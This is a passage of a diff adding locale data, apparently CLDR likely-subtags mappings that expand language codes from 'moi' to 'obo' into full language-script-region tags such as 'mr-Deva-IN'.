+ "moi": "moi-Latn-NG",
+ "moj": "moj-Latn-CG",
+ "mok": "mok-Latn-ID",
+ "mom": "mom-Latn-NI",
+ "moo": "moo-Latn-VN",
+ "mop": "mop-Latn-BZ",
+ "moq": "moq-Latn-ID",
+ "mor": "mor-Latn-SD",
+ "mos": "mos-Latn-BF",
+ "mot": "mot-Latn-CO",
+ "mou": "mou-Latn-TD",
+ "mov": "mov-Latn-US",
+ "mow": "mow-Latn-CG",
+ "mox": "mox-Latn-ZZ",
+ "moy": "moy-Latn-ET",
+ "moy-Ethi": "moy-Ethi-ET",
+ "moz": "moz-Latn-TD",
+ "mpa": "mpa-Latn-TZ",
+ "mpb": "mpb-Latn-AU",
+ "mpc": "mpc-Latn-AU",
+ "mpd": "mpd-Latn-BR",
+ "mpe": "mpe-Latn-ET",
+ "mpe-Ethi": "mpe-Ethi-ET",
+ "mpg": "mpg-Latn-TD",
+ "mph": "mph-Latn-AU",
+ "mpi": "mpi-Latn-CM",
+ "mpj": "mpj-Latn-AU",
+ "mpk": "mpk-Latn-TD",
+ "mpl": "mpl-Latn-PG",
+ "mpm": "mpm-Latn-MX",
+ "mpn": "mpn-Latn-PG",
+ "mpo": "mpo-Latn-PG",
+ "mpp": "mpp-Latn-ZZ",
+ "mpq": "mpq-Latn-BR",
+ "mpr": "mpr-Latn-SB",
+ "mps": "mps-Latn-ZZ",
+ "mpt": "mpt-Latn-ZZ",
+ "mpu": "mpu-Latn-BR",
+ "mpv": "mpv-Latn-PG",
+ "mpw": "mpw-Latn-BR",
+ "mpx": "mpx-Latn-ZZ",
+ "mpy": "mpy-Latn-ID",
+ "mpz": "mpz-Thai-TH",
+ "mqa": "mqa-Latn-ID",
+ "mqb": "mqb-Latn-CM",
+ "mqc": "mqc-Latn-ID",
+ "mqe": "mqe-Latn-PG",
+ "mqf": "mqf-Latn-ID",
+ "mqg": "mqg-Latn-ID",
+ "mqh": "mqh-Latn-MX",
+ "mqi": "mqi-Latn-ID",
+ "mqj": "mqj-Latn-ID",
+ "mqk": "mqk-Latn-PH",
+ "mql": "mql-Latn-ZZ",
+ "mqm": "mqm-Latn-PF",
+ "mqn": "mqn-Latn-ID",
+ "mqo": "mqo-Latn-ID",
+ "mqp": "mqp-Latn-ID",
+ "mqq": "mqq-Latn-MY",
+ "mqr": "mqr-Latn-ID",
+ "mqs": "mqs-Latn-ID",
+ "mqu": "mqu-Latn-SS",
+ "mqv": "mqv-Latn-PG",
+ "mqw": "mqw-Latn-PG",
+ "mqx": "mqx-Latn-ID",
+ "mqx-Bugi": "mqx-Bugi-ID",
+ "mqy": "mqy-Latn-ID",
+ "mqz": "mqz-Latn-PG",
+ "mr": "mr-Deva-IN",
+ "mra": "mra-Thai-TH",
+ "mrb": "mrb-Latn-VU",
+ "mrc": "mrc-Latn-US",
+ "mrd": "mrd-Deva-NP",
+ "mrf": "mrf-Latn-ID",
+ "mrg": "mrg-Latn-IN",
+ "mrg-Beng": "mrg-Beng-IN",
+ "mrg-Deva": "mrg-Deva-IN",
+ "mrh": "mrh-Latn-IN",
+ "mrj": "mrj-Cyrl-RU",
+ "mrk": "mrk-Latn-NC",
+ "mrl": "mrl-Latn-FM",
+ "mrm": "mrm-Latn-VU",
+ "mrn": "mrn-Latn-SB",
+ "mro": "mro-Mroo-BD",
+ "mrp": "mrp-Latn-VU",
+ "mrq": "mrq-Latn-PF",
+ "mrr": "mrr-Deva-IN",
+ "mrs": "mrs-Latn-VU",
+ "mrt": "mrt-Latn-NG",
+ "mru": "mru-Latn-CM",
+ "mrv": "mrv-Latn-PF",
+ "mrw": "mrw-Latn-PH",
+ "mrw-Arab": "mrw-Arab-PH",
+ "mrx": "mrx-Latn-ID",
+ "mry": "mry-Latn-PH",
+ "mrz": "mrz-Latn-ID",
+ "ms": "ms-Latn-MY",
+ "ms-CC": "ms-Arab-CC",
+ "msb": "msb-Latn-PH",
+ "msc": "msc-Latn-GN",
+ "mse": "mse-Latn-TD",
+ "msf": "msf-Latn-ID",
+ "msg": "msg-Latn-ID",
+ "msh": "msh-Latn-MG",
+ "msi": "msi-Latn-MY",
+ "msj": "msj-Latn-CD",
+ "msk": "msk-Latn-PH",
+ "msl": "msl-Latn-ID",
+ "msm": "msm-Latn-PH",
+ "msn": "msn-Latn-VU",
+ "mso": "mso-Latn-ID",
+ "msp": "msp-Latn-BR",
+ "msq": "msq-Latn-NC",
+ "mss": "mss-Latn-ID",
+ "msu": "msu-Latn-PG",
+ "msv": "msv-Latn-CM",
+ "msw": "msw-Latn-GW",
+ "msx": "msx-Latn-PG",
+ "msy": "msy-Latn-PG",
+ "msz": "msz-Latn-PG",
+ "mt": "mt-Latn-MT",
+ "mta": "mta-Latn-PH",
+ "mtb": "mtb-Latn-CI",
+ "mtc": "mtc-Latn-ZZ",
+ "mtd": "mtd-Latn-ID",
+ "mte": "mte-Latn-SB",
+ "mtf": "mtf-Latn-ZZ",
+ "mtg": "mtg-Latn-ID",
+ "mth": "mth-Latn-ID",
+ "mti": "mti-Latn-ZZ",
+ "mtj": "mtj-Latn-ID",
+ "mtk": "mtk-Latn-CM",
+ "mtl": "mtl-Latn-NG",
+ "mtm": "mtm-Cyrl-RU",
+ "mtn": "mtn-Latn-NI",
+ "mto": "mto-Latn-MX",
+ "mtp": "mtp-Latn-BO",
+ "mtq": "mtq-Latn-VN",
+ "mtr": "mtr-Deva-IN",
+ "mts": "mts-Latn-PE",
+ "mtt": "mtt-Latn-VU",
+ "mtu": "mtu-Latn-MX",
+ "mtv": "mtv-Latn-PG",
+ "mtw": "mtw-Latn-PH",
+ "mtx": "mtx-Latn-MX",
+ "mty": "mty-Latn-PG",
+ "mua": "mua-Latn-CM",
+ "mub": "mub-Latn-TD",
+ "muc": "muc-Latn-CM",
+ "mud": "mud-Cyrl-RU",
+ "mue": "mue-Latn-EC",
+ "mug": "mug-Latn-CM",
+ "muh": "muh-Latn-SS",
+ "mui": "mui-Latn-ID",
+ "muj": "muj-Latn-TD",
+ "muk": "muk-Tibt-NP",
+ "mum": "mum-Latn-PG",
+ "muo": "muo-Latn-CM",
+ "muq": "muq-Latn-CN",
+ "mur": "mur-Latn-ZZ",
+ "mus": "mus-Latn-US",
+ "mut": "mut-Deva-IN",
+ "muu": "muu-Latn-KE",
+ "muv": "muv-Taml-IN",
+ "mux": "mux-Latn-PG",
+ "muy": "muy-Latn-CM",
+ "muz": "muz-Ethi-ET",
+ "muz-Latn": "muz-Latn-ET",
+ "mva": "mva-Latn-ZZ",
+ "mvd": "mvd-Latn-ID",
+ "mvf": "mvf-Mong-CN",
+ "mvf-Phag": "mvf-Phag-CN",
+ "mvg": "mvg-Latn-MX",
+ "mvh": "mvh-Latn-TD",
+ "mvk": "mvk-Latn-PG",
+ "mvl": "mvl-Latn-AU",
+ "mvn": "mvn-Latn-ZZ",
+ "mvo": "mvo-Latn-SB",
+ "mvp": "mvp-Latn-ID",
+ "mvq": "mvq-Latn-PG",
+ "mvr": "mvr-Latn-ID",
+ "mvs": "mvs-Latn-ID",
+ "mvt": "mvt-Latn-VU",
+ "mvu": "mvu-Latn-TD",
+ "mvv": "mvv-Latn-MY",
+ "mvw": "mvw-Latn-TZ",
+ "mvx": "mvx-Latn-ID",
+ "mvy": "mvy-Arab-PK",
+ "mvz": "mvz-Ethi-ET",
+ "mvz-Arab": "mvz-Arab-ET",
+ "mwa": "mwa-Latn-PG",
+ "mwb": "mwb-Latn-PG",
+ "mwc": "mwc-Latn-PG",
+ "mwe": "mwe-Latn-TZ",
+ "mwf": "mwf-Latn-AU",
+ "mwg": "mwg-Latn-PG",
+ "mwh": "mwh-Latn-PG",
+ "mwi": "mwi-Latn-VU",
+ "mwk": "mwk-Latn-ML",
+ "mwl": "mwl-Latn-PT",
+ "mwm": "mwm-Latn-TD",
+ "mwn": "mwn-Latn-ZM",
+ "mwo": "mwo-Latn-VU",
+ "mwp": "mwp-Latn-AU",
+ "mwq": "mwq-Latn-MM",
+ "mwr": "mwr-Deva-IN",
+ "mws": "mws-Latn-KE",
+ "mwt": "mwt-Mymr-MM",
+ "mwt-Thai": "mwt-Thai-TH",
+ "mwu": "mwu-Latn-SS",
+ "mwv": "mwv-Latn-ID",
+ "mww": "mww-Hmnp-US",
+ "mwz": "mwz-Latn-CD",
+ "mxa": "mxa-Latn-MX",
+ "mxb": "mxb-Latn-MX",
+ "mxc": "mxc-Latn-ZW",
+ "mxd": "mxd-Latn-ID",
+ "mxe": "mxe-Latn-VU",
+ "mxf": "mxf-Latn-CM",
+ "mxg": "mxg-Latn-AO",
+ "mxh": "mxh-Latn-CD",
+ "mxi": "mxi-Latn-ES",
+ "mxj": "mxj-Latn-IN",
+ "mxk": "mxk-Latn-PG",
+ "mxl": "mxl-Latn-BJ",
+ "mxm": "mxm-Latn-ZZ",
+ "mxn": "mxn-Latn-ID",
+ "mxo": "mxo-Latn-ZM",
+ "mxp": "mxp-Latn-MX",
+ "mxq": "mxq-Latn-MX",
+ "mxr": "mxr-Latn-MY",
+ "mxs": "mxs-Latn-MX",
+ "mxt": "mxt-Latn-MX",
+ "mxu": "mxu-Latn-CM",
+ "mxv": "mxv-Latn-MX",
+ "mxw": "mxw-Latn-PG",
+ "mxx": "mxx-Latn-CI",
+ "mxy": "mxy-Latn-MX",
+ "mxz": "mxz-Latn-ID",
+ "my": "my-Mymr-MM",
+ "myb": "myb-Latn-TD",
+ "myc": "myc-Latn-CD",
+ "mye": "mye-Latn-GA",
+ "myf": "myf-Latn-ET",
+ "myg": "myg-Latn-CM",
+ "myh": "myh-Latn-US",
+ "myj": "myj-Latn-SS",
+ "myk": "myk-Latn-ZZ",
+ "myl": "myl-Latn-ID",
+ "mym": "mym-Ethi-ZZ",
+ "myp": "myp-Latn-BR",
+ "myr": "myr-Latn-PE",
+ "myu": "myu-Latn-BR",
+ "myv": "myv-Cyrl-RU",
+ "myw": "myw-Latn-ZZ",
+ "myx": "myx-Latn-UG",
+ "myy": "myy-Latn-CO",
+ "myz": "myz-Mand-IR",
+ "mza": "mza-Latn-MX",
+ "mzd": "mzd-Latn-CM",
+ "mze": "mze-Latn-PG",
+ "mzh": "mzh-Latn-AR",
+ "mzi": "mzi-Latn-MX",
+ "mzj": "mzj-Latn-LR",
+ "mzk": "mzk-Latn-ZZ",
+ "mzl": "mzl-Latn-MX",
+ "mzm": "mzm-Latn-ZZ",
+ "mzn": "mzn-Arab-IR",
+ "mzo": "mzo-Latn-BR",
+ "mzp": "mzp-Latn-ZZ",
+ "mzq": "mzq-Latn-ID",
+ "mzr": "mzr-Latn-BR",
+ "mzt": "mzt-Latn-MY",
+ "mzu": "mzu-Latn-PG",
+ "mzv": "mzv-Latn-CF",
+ "mzw": "mzw-Latn-ZZ",
+ "mzx": "mzx-Latn-GY",
+ "mzz": "mzz-Latn-ZZ",
+ "na": "na-Latn-NR",
+ "naa": "naa-Latn-ID",
+ "nab": "nab-Latn-BR",
+ "nac": "nac-Latn-ZZ",
+ "nae": "nae-Latn-ID",
+ "naf": "naf-Latn-ZZ",
+ "nag": "nag-Latn-IN",
+ "naj": "naj-Latn-GN",
+ "nak": "nak-Latn-ZZ",
+ "nal": "nal-Latn-PG",
+ "nam": "nam-Latn-AU",
+ "nan": "nan-Hans-CN",
+ "nao": "nao-Deva-NP",
+ "nap": "nap-Latn-IT",
+ "naq": "naq-Latn-NA",
+ "nar": "nar-Latn-NG",
+ "nas": "nas-Latn-ZZ",
+ "nat": "nat-Latn-NG",
+ "naw": "naw-Latn-GH",
+ "nax": "nax-Latn-PG",
+ "nay": "nay-Latn-AU",
+ "naz": "naz-Latn-MX",
+ "nb": "nb-Latn-NO",
+ "nba": "nba-Latn-AO",
+ "nbb": "nbb-Latn-NG",
+ "nbc": "nbc-Latn-IN",
+ "nbd": "nbd-Latn-CD",
+ "nbe": "nbe-Latn-IN",
+ "nbh": "nbh-Latn-NG",
+ "nbi": "nbi-Latn-IN",
+ "nbj": "nbj-Latn-AU",
+ "nbk": "nbk-Latn-PG",
+ "nbm": "nbm-Latn-CF",
+ "nbn": "nbn-Latn-ID",
+ "nbo": "nbo-Latn-NG",
+ "nbp": "nbp-Latn-NG",
+ "nbq": "nbq-Latn-ID",
+ "nbr": "nbr-Latn-NG",
+ "nbt": "nbt-Latn-IN",
+ "nbt-Deva": "nbt-Deva-IN",
+ "nbu": "nbu-Latn-IN",
+ "nbv": "nbv-Latn-CM",
+ "nbw": "nbw-Latn-CD",
+ "nby": "nby-Latn-PG",
+ "nca": "nca-Latn-ZZ",
+ "ncb": "ncb-Latn-IN",
+ "ncb-Deva": "ncb-Deva-IN",
+ "ncc": "ncc-Latn-PG",
+ "ncd": "ncd-Deva-NP",
+ "nce": "nce-Latn-ZZ",
+ "ncf": "ncf-Latn-ZZ",
+ "ncg": "ncg-Latn-CA",
+ "nch": "nch-Latn-MX",
+ "nci": "nci-Latn-MX",
+ "ncj": "ncj-Latn-MX",
+ "nck": "nck-Latn-AU",
+ "ncl": "ncl-Latn-MX",
+ "ncm": "ncm-Latn-PG",
+ "ncn": "ncn-Latn-PG",
+ "nco": "nco-Latn-ZZ",
+ "ncq": "ncq-Laoo-LA",
+ "ncq-Thai": "ncq-Thai-LA",
+ "ncr": "ncr-Latn-CM",
+ "nct": "nct-Latn-IN",
+ "nct-Beng": "nct-Beng-IN",
+ "ncu": "ncu-Latn-ZZ",
+ "ncx": "ncx-Latn-MX",
+ "ncz": "ncz-Latn-US",
+ "nd": "nd-Latn-ZW",
+ "nda": "nda-Latn-CG",
+ "ndb": "ndb-Latn-CM",
+ "ndc": "ndc-Latn-MZ",
+ "ndd": "ndd-Latn-NG",
+ "ndf": "ndf-Cyrl-RU",
+ "ndg": "ndg-Latn-TZ",
+ "ndh": "ndh-Latn-TZ",
+ "ndi": "ndi-Latn-NG",
+ "ndj": "ndj-Latn-TZ",
+ "ndk": "ndk-Latn-CD",
+ "ndl": "ndl-Latn-CD",
+ "ndm": "ndm-Latn-TD",
+ "ndn": "ndn-Latn-CG",
+ "ndp": "ndp-Latn-UG",
+ "ndq": "ndq-Latn-AO",
+ "ndr": "ndr-Latn-NG",
+ "nds": "nds-Latn-DE",
+ "ndt": "ndt-Latn-CD",
+ "ndu": "ndu-Latn-CM",
+ "ndv": "ndv-Latn-SN",
+ "ndw": "ndw-Latn-CD",
+ "ndx": "ndx-Latn-ID",
+ "ndy": "ndy-Latn-CF",
+ "ndy-TD": "ndy-Latn-TD",
+ "ndz": "ndz-Latn-SS",
+ "ne": "ne-Deva-NP",
+ "nea": "nea-Latn-ID",
+ "neb": "neb-Latn-ZZ",
+ "nec": "nec-Latn-ID",
+ "ned": "ned-Latn-NG",
+ "nee": "nee-Latn-NC",
+ "neg": "neg-Cyrl-RU",
+ "neh": "neh-Tibt-BT",
+ "nei": "nei-Xsux-TR",
+ "nej": "nej-Latn-PG",
+ "nek": "nek-Latn-NC",
+ "nem": "nem-Latn-NC",
+ "nen": "nen-Latn-NC",
+ "neo": "neo-Latn-VN",
+ "neq": "neq-Latn-MX",
+ "ner": "ner-Latn-ID",
+ "net": "net-Latn-PG",
+ "neu": "neu-Latn-001",
+ "new": "new-Deva-NP",
+ "nex": "nex-Latn-ZZ",
+ "ney": "ney-Latn-CI",
+ "nez": "nez-Latn-US",
+ "nfa": "nfa-Latn-ID",
+ "nfd": "nfd-Latn-NG",
+ "nfl": "nfl-Latn-SB",
+ "nfr": "nfr-Latn-ZZ",
+ "nfu": "nfu-Latn-CM",
+ "ng": "ng-Latn-NA",
+ "nga": "nga-Latn-ZZ",
+ "ngb": "ngb-Latn-ZZ",
+ "ngc": "ngc-Latn-CD",
+ "ngd": "ngd-Latn-CF",
+ "nge": "nge-Latn-CM",
+ "ngg": "ngg-Latn-CF",
+ "ngh": "ngh-Latn-ZA",
+ "ngi": "ngi-Latn-NG",
+ "ngj": "ngj-Latn-CM",
+ "ngk": "ngk-Latn-AU",
+ "ngl": "ngl-Latn-MZ",
+ "ngm": "ngm-Latn-FM",
+ "ngn": "ngn-Latn-CM",
+ "ngp": "ngp-Latn-TZ",
+ "ngq": "ngq-Latn-TZ",
+ "ngr": "ngr-Latn-SB",
+ "ngs": "ngs-Latn-NG",
+ "ngt": "ngt-Laoo-LA",
+ "ngu": "ngu-Latn-MX",
+ "ngv": "ngv-Latn-CM",
+ "ngw": "ngw-Latn-NG",
+ "ngx": "ngx-Latn-NG",
+ "ngy": "ngy-Latn-CM",
+ "ngz": "ngz-Latn-CG",
+ "nha": "nha-Latn-AU",
+ "nhb": "nhb-Latn-ZZ",
+ "nhc": "nhc-Latn-MX",
+ "nhd": "nhd-Latn-PY",
+ "nhe": "nhe-Latn-MX",
+ "nhf": "nhf-Latn-AU",
+ "nhg": "nhg-Latn-MX",
+ "nhi": "nhi-Latn-MX",
+ "nhk": "nhk-Latn-MX",
+ "nhm": "nhm-Latn-MX",
+ "nhn": "nhn-Latn-MX",
+ "nho": "nho-Latn-PG",
+ "nhp": "nhp-Latn-MX",
+ "nhq": "nhq-Latn-MX",
+ "nhr": "nhr-Latn-BW",
+ "nht": "nht-Latn-MX",
+ "nhu": "nhu-Latn-CM",
+ "nhv": "nhv-Latn-MX",
+ "nhw": "nhw-Latn-MX",
+ "nhx": "nhx-Latn-MX",
+ "nhy": "nhy-Latn-MX",
+ "nhz": "nhz-Latn-MX",
+ "nia": "nia-Latn-ID",
+ "nib": "nib-Latn-PG",
+ "nid": "nid-Latn-AU",
+ "nie": "nie-Latn-TD",
+ "nif": "nif-Latn-ZZ",
+ "nig": "nig-Latn-AU",
+ "nih": "nih-Latn-TZ",
+ "nii": "nii-Latn-ZZ",
+ "nij": "nij-Latn-ID",
+ "nil": "nil-Latn-ID",
+ "nim": "nim-Latn-TZ",
+ "nin": "nin-Latn-ZZ",
+ "nio": "nio-Cyrl-RU",
+ "niq": "niq-Latn-KE",
+ "nir": "nir-Latn-ID",
+ "nis": "nis-Latn-PG",
+ "nit": "nit-Telu-IN",
+ "niu": "niu-Latn-NU",
+ "niv": "niv-Cyrl-RU",
+ "niv-Latn": "niv-Latn-RU",
+ "niw": "niw-Latn-PG",
+ "nix": "nix-Latn-CD",
+ "niy": "niy-Latn-ZZ",
+ "niz": "niz-Latn-ZZ",
+ "nja": "nja-Latn-NG",
+ "njb": "njb-Latn-IN",
+ "njd": "njd-Latn-TZ",
+ "njh": "njh-Latn-IN",
+ "nji": "nji-Latn-AU",
+ "njj": "njj-Latn-CM",
+ "njl": "njl-Latn-SS",
+ "njm": "njm-Latn-IN",
+ "njn": "njn-Latn-IN",
+ "njo": "njo-Latn-IN",
+ "njr": "njr-Latn-NG",
+ "njs": "njs-Latn-ID",
+ "njt": "njt-Latn-SR",
+ "nju": "nju-Latn-AU",
+ "njx": "njx-Latn-CG",
+ "njy": "njy-Latn-CM",
+ "njz": "njz-Latn-IN",
+ "njz-Beng": "njz-Beng-IN",
+ "nka": "nka-Latn-ZM",
+ "nkb": "nkb-Latn-IN",
+ "nkc": "nkc-Latn-CM",
+ "nkd": "nkd-Latn-IN",
+ "nke": "nke-Latn-SB",
+ "nkf": "nkf-Latn-IN",
+ "nkg": "nkg-Latn-ZZ",
+ "nkh": "nkh-Latn-IN",
+ "nki": "nki-Latn-IN",
+ "nki-Beng": "nki-Beng-IN",
+ "nkj": "nkj-Latn-ID",
+ "nkk": "nkk-Latn-VU",
+ "nkm": "nkm-Latn-PG",
+ "nkn": "nkn-Latn-AO",
+ "nko": "nko-Latn-ZZ",
+ "nkq": "nkq-Latn-GH",
+ "nkr": "nkr-Latn-FM",
+ "nks": "nks-Latn-ID",
+ "nkt": "nkt-Latn-TZ",
+ "nku": "nku-Latn-CI",
+ "nkv": "nkv-Latn-MW",
+ "nkw": "nkw-Latn-CD",
+ "nkx": "nkx-Latn-NG",
+ "nkz": "nkz-Latn-NG",
+ "nl": "nl-Latn-NL",
+ "nla": "nla-Latn-CM",
+ "nlc": "nlc-Latn-ID",
+ "nle": "nle-Latn-KE",
+ "nlg": "nlg-Latn-SB",
+ "nli": "nli-Arab-AF",
+ "nlj": "nlj-Latn-CD",
+ "nlk": "nlk-Latn-ID",
+ "nlm": "nlm-Arab-PK",
+ "nlo": "nlo-Latn-CD",
+ "nlq": "nlq-Latn-MM",
+ "nlu": "nlu-Latn-GH",
+ "nlv": "nlv-Latn-MX",
+ "nlw": "nlw-Latn-AU",
+ "nlx": "nlx-Deva-IN",
+ "nly": "nly-Latn-AU",
+ "nlz": "nlz-Latn-SB",
+ "nma": "nma-Latn-IN",
+ "nmb": "nmb-Latn-VU",
+ "nmc": "nmc-Latn-TD",
+ "nmd": "nmd-Latn-GA",
+ "nme": "nme-Latn-IN",
+ "nmf": "nmf-Latn-IN",
+ "nmg": "nmg-Latn-CM",
+ "nmh": "nmh-Latn-IN",
+ "nmi": "nmi-Latn-NG",
+ "nmj": "nmj-Latn-CF",
+ "nmk": "nmk-Latn-VU",
+ "nml": "nml-Latn-CM",
+ "nmm": "nmm-Deva-NP",
+ "nmm-Tibt": "nmm-Tibt-NP",
+ "nmn": "nmn-Latn-BW",
+ "nmo": "nmo-Latn-IN",
+ "nmo-Beng": "nmo-Beng-IN",
+ "nmp": "nmp-Latn-AU",
+ "nmq": "nmq-Latn-ZW",
+ "nmr": "nmr-Latn-CM",
+ "nms": "nms-Latn-VU",
+ "nmt": "nmt-Latn-FM",
+ "nmu": "nmu-Latn-US",
+ "nmv": "nmv-Latn-AU",
+ "nmw": "nmw-Latn-PG",
+ "nmx": "nmx-Latn-PG",
+ "nmz": "nmz-Latn-ZZ",
+ "nn": "nn-Latn-NO",
+ "nna": "nna-Latn-AU",
+ "nnb": "nnb-Latn-CD",
+ "nnc": "nnc-Latn-TD",
+ "nnd": "nnd-Latn-VU",
+ "nne": "nne-Latn-AO",
+ "nnf": "nnf-Latn-ZZ",
+ "nng": "nng-Latn-IN",
+ "nng-Beng": "nng-Beng-IN",
+ "nnh": "nnh-Latn-CM",
+ "nni": "nni-Latn-ID",
+ "nnj": "nnj-Latn-ET",
+ "nnk": "nnk-Latn-ZZ",
+ "nnl": "nnl-Latn-IN",
+ "nnm": "nnm-Latn-ZZ",
+ "nnn": "nnn-Latn-TD",
+ "nnp": "nnp-Wcho-IN",
+ "nnq": "nnq-Latn-TZ",
+ "nnr": "nnr-Latn-AU",
+ "nnt": "nnt-Latn-US",
+ "nnu": "nnu-Latn-GH",
+ "nnv": "nnv-Latn-AU",
+ "nnw": "nnw-Latn-BF",
+ "nny": "nny-Latn-AU",
+ "nnz": "nnz-Latn-CM",
+ "no": "no-Latn-NO",
+ "noa": "noa-Latn-CO",
+ "noc": "noc-Latn-PG",
+ "nod": "nod-Lana-TH",
+ "noe": "noe-Deva-IN",
+ "nof": "nof-Latn-PG",
+ "nog": "nog-Cyrl-RU",
+ "noh": "noh-Latn-PG",
+ "noi": "noi-Deva-IN",
+ "noj": "noj-Latn-CO",
+ "nok": "nok-Latn-US",
+ "nom": "nom-Latn-PE",
+ "non": "non-Runr-SE",
+ "nop": "nop-Latn-ZZ",
+ "noq": "noq-Latn-CD",
+ "nos": "nos-Yiii-CN",
+ "not": "not-Latn-PE",
+ "nou": "nou-Latn-ZZ",
+ "nov": "nov-Latn-001",
+ "now": "now-Latn-TZ",
+ "noy": "noy-Latn-TD",
+ "npb": "npb-Tibt-BT",
+ "npg": "npg-Latn-MM",
+ "nph": "nph-Latn-IN",
+ "npl": "npl-Latn-MX",
+ "npn": "npn-Latn-PG",
+ "npo": "npo-Latn-IN",
+ "nps": "nps-Latn-ID",
+ "npu": "npu-Latn-IN",
+ "npx": "npx-Latn-SB",
+ "npy": "npy-Latn-ID",
+ "nqg": "nqg-Latn-BJ",
+ "nqk": "nqk-Latn-BJ",
+ "nql": "nql-Latn-AO",
+ "nqm": "nqm-Latn-ID",
+ "nqn": "nqn-Latn-PG",
+ "nqo": "nqo-Nkoo-GN",
+ "nqq": "nqq-Latn-MM",
+ "nqt": "nqt-Latn-NG",
+ "nqy": "nqy-Latn-MM",
+ "nr": "nr-Latn-ZA",
+ "nra": "nra-Latn-GA",
+ "nrb": "nrb-Latn-ZZ",
+ "nre": "nre-Latn-IN",
+ "nrf": "nrf-Latn-JE",
+ "nrg": "nrg-Latn-VU",
+ "nri": "nri-Latn-IN",
+ "nrk": "nrk-Latn-AU",
+ "nrl": "nrl-Latn-AU",
+ "nrm": "nrm-Latn-MY",
+ "nrp": "nrp-Latn-IT",
+ "nru": "nru-Latn-CN",
+ "nru-Hans": "nru-Hans-CN",
+ "nru-Hant": "nru-Hant-CN",
+ "nrx": "nrx-Latn-AU",
+ "nrz": "nrz-Latn-PG",
+ "nsa": "nsa-Latn-IN",
+ "nsb": "nsb-Latn-ZA",
+ "nsc": "nsc-Latn-NG",
+ "nsd": "nsd-Yiii-CN",
+ "nse": "nse-Latn-ZM",
+ "nsf": "nsf-Yiii-CN",
+ "nsg": "nsg-Latn-TZ",
+ "nsh": "nsh-Latn-CM",
+ "nsk": "nsk-Cans-CA",
+ "nsm": "nsm-Latn-IN",
+ "nsn": "nsn-Latn-ZZ",
+ "nso": "nso-Latn-ZA",
+ "nsq": "nsq-Latn-US",
+ "nss": "nss-Latn-ZZ",
+ "nst": "nst-Tnsa-IN",
+ "nsu": "nsu-Latn-MX",
+ "nsv": "nsv-Yiii-CN",
+ "nsw": "nsw-Latn-VU",
+ "nsx": "nsx-Latn-AO",
+ "nsy": "nsy-Latn-ID",
+ "nsz": "nsz-Latn-US",
+ "ntd": "ntd-Latn-MY",
+ "nte": "nte-Latn-MZ",
+ "ntg": "ntg-Latn-AU",
+ "nti": "nti-Latn-BF",
+ "ntj": "ntj-Latn-AU",
+ "ntk": "ntk-Latn-TZ",
+ "ntm": "ntm-Latn-ZZ",
+ "nto": "nto-Latn-CD",
+ "ntp": "ntp-Latn-MX",
+ "ntr": "ntr-Latn-ZZ",
+ "ntu": "ntu-Latn-SB",
+ "ntx": "ntx-Latn-MM",
+ "nty": "nty-Yiii-VN",
+ "ntz": "ntz-Arab-IR",
+ "nua": "nua-Latn-NC",
+ "nuc": "nuc-Latn-BR",
+ "nud": "nud-Latn-PG",
+ "nue": "nue-Latn-CD",
+ "nuf": "nuf-Latn-CN",
+ "nug": "nug-Latn-AU",
+ "nuh": "nuh-Latn-NG",
+ "nui": "nui-Latn-ZZ",
+ "nuj": "nuj-Latn-UG",
+ "nuk": "nuk-Latn-CA",
+ "num": "num-Latn-TO",
+ "nun": "nun-Latn-MM",
+ "nuo": "nuo-Latn-VN",
+ "nup": "nup-Latn-ZZ",
+ "nuq": "nuq-Latn-PG",
+ "nur": "nur-Latn-PG",
+ "nus": "nus-Latn-SS",
+ "nut": "nut-Latn-VN",
+ "nuu": "nuu-Latn-CD",
+ "nuv": "nuv-Latn-ZZ",
+ "nuw": "nuw-Latn-FM",
+ "nux": "nux-Latn-ZZ",
+ "nuy": "nuy-Latn-AU",
+ "nuz": "nuz-Latn-MX",
+ "nv": "nv-Latn-US",
+ "nvh": "nvh-Latn-VU",
+ "nvm": "nvm-Latn-PG",
+ "nvo": "nvo-Latn-CM",
+ "nwb": "nwb-Latn-ZZ",
+ "nwc": "nwc-Newa-NP",
+ "nwc-Brah": "nwc-Brah-NP",
+ "nwc-Deva": "nwc-Deva-NP",
+ "nwc-Sidd": "nwc-Sidd-NP",
+ "nwe": "nwe-Latn-CM",
+ "nwg": "nwg-Latn-AU",
+ "nwi": "nwi-Latn-VU",
+ "nwm": "nwm-Latn-SS",
+ "nwo": "nwo-Latn-AU",
+ "nwr": "nwr-Latn-PG",
+ "nww": "nww-Latn-TZ",
+ "nwx": "nwx-Deva-NP",
+ "nxa": "nxa-Latn-TL",
+ "nxd": "nxd-Latn-CD",
+ "nxe": "nxe-Latn-ID",
+ "nxg": "nxg-Latn-ID",
+ "nxi": "nxi-Latn-TZ",
+ "nxl": "nxl-Latn-ID",
+ "nxn": "nxn-Latn-AU",
+ "nxo": "nxo-Latn-GA",
+ "nxq": "nxq-Latn-CN",
+ "nxr": "nxr-Latn-ZZ",
+ "nxx": "nxx-Latn-ID",
+ "ny": "ny-Latn-MW",
+ "nyb": "nyb-Latn-GH",
+ "nyc": "nyc-Latn-CD",
+ "nyd": "nyd-Latn-KE",
+ "nye": "nye-Latn-AO",
+ "nyf": "nyf-Latn-KE",
+ "nyg": "nyg-Latn-CD",
+ "nyh": "nyh-Latn-AU",
+ "nyi": "nyi-Latn-SD",
+ "nyj": "nyj-Latn-CD",
+ "nyk": "nyk-Latn-AO",
+ "nyl": "nyl-Thai-TH",
+ "nym": "nym-Latn-TZ",
+ "nyn": "nyn-Latn-UG",
+ "nyo": "nyo-Latn-UG",
+ "nyp": "nyp-Latn-UG",
+ "nyq": "nyq-Arab-IR",
+ "nyr": "nyr-Latn-MW",
+ "nys": "nys-Latn-AU",
+ "nyt": "nyt-Latn-AU",
+ "nyu": "nyu-Latn-MZ",
+ "nyv": "nyv-Latn-AU",
+ "nyx": "nyx-Latn-AU",
+ "nyy": "nyy-Latn-TZ",
+ "nza": "nza-Latn-CM",
+ "nzb": "nzb-Latn-GA",
+ "nzd": "nzd-Latn-CD",
+ "nzi": "nzi-Latn-GH",
+ "nzk": "nzk-Latn-CF",
+ "nzm": "nzm-Latn-IN",
+ "nzu": "nzu-Latn-CG",
+ "nzy": "nzy-Latn-TD",
+ "nzz": "nzz-Latn-ML",
+ "oaa": "oaa-Cyrl-RU",
+ "oac": "oac-Cyrl-RU",
+ "oar": "oar-Syrc-SY",
+ "oav": "oav-Geor-GE",
+ "obi": "obi-Latn-US",
+ "obk": "obk-Latn-PH",
+ "obl": "obl-Latn-CM",
+ "obm": "obm-Phnx-JO",
+ "obo": "obo-Latn-PH",
